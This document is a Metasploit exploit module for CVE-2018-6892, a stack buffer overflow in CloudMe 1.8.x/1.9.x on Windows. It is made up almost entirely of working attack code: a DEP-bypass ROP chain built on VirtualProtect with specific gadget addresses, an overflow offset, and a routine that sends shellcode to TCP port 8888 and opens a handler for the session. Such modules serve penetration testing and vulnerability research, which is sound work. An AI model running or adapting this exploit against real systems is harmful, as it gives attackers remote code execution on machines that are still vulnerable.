Cloudme 1.9 Buffer Overflow

`# Exploit Title: Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)  
# Date: 2018-08-13  
# Exploit Author: Raymond Wellnitz  
# Vendor Homepage: https://www.cloudme.com  
# Version: 1.8.x/1.9.x  
# Tested on: Windows 7 x64  
# CVE : 2018-6892  
  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cloudme v1.8.x/v1.9.x Buffer Overflow with DEP-Bypass',  
'Description' => %q{  
This module exploits a stack buffer overflow in Cloudme v1.8.x/v1.9.x.  
},  
'Author' => [ 'Raymond Wellnitz' ],  
'References' =>  
[  
[ 'CVE', 'CVE-2018-6892' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Platform' => 'win',  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00"  
},  
'Targets' =>  
[  
[ 'Windows x86_32/64', { 'Ret' => 0x6cfa88a2 } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '11.02.2018'))  
  
register_options([ Opt::RPORT(8888) ])  
end  
  
def create_rop_chain()  
rop_gadgets = [  
0x6cf98182, # POP EAX # RETN [icuin49.dll]  
0x68c848d8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]  
0x61b4d226, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]   
0x668d8261, # XCHG EAX,ESI # RETN [libGLESv2.dll]   
0x68a5c297, # POP EBP # RETN [Qt5Core.dll]   
0x688dd45d, # & JMP ESP [Qt5Core.dll]  
0x68abe868, # POP EAX # RETN [Qt5Core.dll]  
0xfffffdff, # 201  
0x1004b263, # NEG EAX # RETN [LIBEAY32.dll]  
0x689687d2, # XCHG EAX,EBX # RETN  
0x68abe868, # POP EAX # RETN [Qt5Core.dll]  
0xffffffc0, # 40  
0x1004b263, # NEG EAX # RETN [LIBEAY32.dll]  
0x6751d479, # XCHG EAX,EDX # RETN [icuuc49.dll]  
0x100010c7, # POP ECX # RETN [LIBEAY32.dll]  
0x6494ea0a, # &Writable location [libwinpthread-1.dll]  
0x68a49534, # POP EDI # RETN [Qt5Core.dll]   
0x1008df82, # RETN (ROP NOP) [LIBEAY32.dll]  
0x68ad025b, # POP EAX # RETN [Qt5Core.dll]  
0x90909090, # NOPS  
0x6759bdb4, # PUSHAD # RETN [icuuc49.dll]   
].flatten.pack("V*")  
return rop_gadgets  
end  
  
def exploit  
connect  
  
sploit = rand_text_alpha_upper(1036)  
sploit << create_rop_chain()  
sploit << make_nops(30)  
sploit << payload.encoded  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit + "\r\n\r\n")  
  
handler  
disconnect  
end  
end  
  
`